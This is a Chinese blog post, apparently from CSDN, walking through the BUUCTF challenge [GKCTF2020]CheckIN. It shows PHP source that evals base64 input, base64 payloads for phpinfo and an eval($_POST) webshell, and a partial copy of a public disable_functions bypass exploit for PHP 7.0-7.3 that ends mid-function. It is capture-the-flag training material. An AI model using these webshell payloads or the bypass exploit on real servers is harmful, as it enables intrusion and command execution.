【学习笔记 22】 buu [GKCTF2020]CheckIN

0x00 知识点

任意文件写入漏洞,部分过滤的绕过

0x01 解题过程

打开一看,代码审计

<title>Check_In</title>
<?php 
highlight_file(__FILE__);
class ClassName
{
   
        public $code = null;
        public $decode = null;
        function __construct()
        {
   
                $this->code = @$this->x()['Ginkgo'];//可以传参
                $this->decode = @base64_decode( $this->code );//basae64解密一下传入内容
                @Eval($this->decode);
        }

        public function x()
        {
   
                return $_REQUEST;
        }
}
new ClassName();

看到调用的魔法函数,起初以为是要考察反序列化,但是发现没有调用序列话函数,不过后来发现可以利用Ginkgo传参,可以直接写入到这个页面里,先写入一个phpinfo来看看效果,但是还需要用base64加密一下才可以

'phpinfo();'用base64加密后是 ‘cGhwaW5mbygpOw==’

构造payload

?Ginkgo=cGhwaW5mbygpOw==

效果如下
在这里插入图片描述
有很多的限制和禁用,那接下来写个木马试试

eval($_POST[‘lla’]);利用base64加密后ZXZhbCgkX1BPU1RbJ2xsYSddKQ==

构造payload

?Ginkgo=ZXZhbCgkX1BPU1RbJ2xsYSddKQ==

在这里插入图片描述这里还是只能用蚁剑或者cknife连马(蚁剑这个工具是真的猛,我的蚁剑终于弄好了,所以我选择用c刀,有机会我会把这几个工具都上传一下。)
在这里插入图片描述可以在根目录下看到flag,但是没法直接读取,但是有个readflag文件,那就是想办法执行这个文件不就行了,这里直接借用大佬的bypass脚本,我实在是写不出来,这里附上脚本链接
脚本内容

<?php

# PHP 7.0-7.3 disable_functions bypass PoC (*nix only)
#
# Bug: https://bugs.php.net/bug.php?id=72530
#
# This exploit should work on all PHP 7.0-7.3 versions
#
# Author: https://github.com/mm0r1

pwn("/readflag");//这里要修改到readflag的路径来来执行这个文件

function pwn($cmd) {
   
    global $abc, $helper;

    function str2ptr(&$str, $p = 0, $s = 8) {
   
        $address = 0;
        for($j = $s-1; $j >= 0; $j--) {
   
            $address <<= 8;
            $address |= ord($str[$p+$j]);
        }
        return $address;
    }

    function ptr2str($ptr, $m = 8) {
   
        $out = "";
        for ($i=0; $i < $m; $i++) {
   
            $out .= chr($ptr & 0xff);
            $ptr >>= 8;
        }
        return
  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值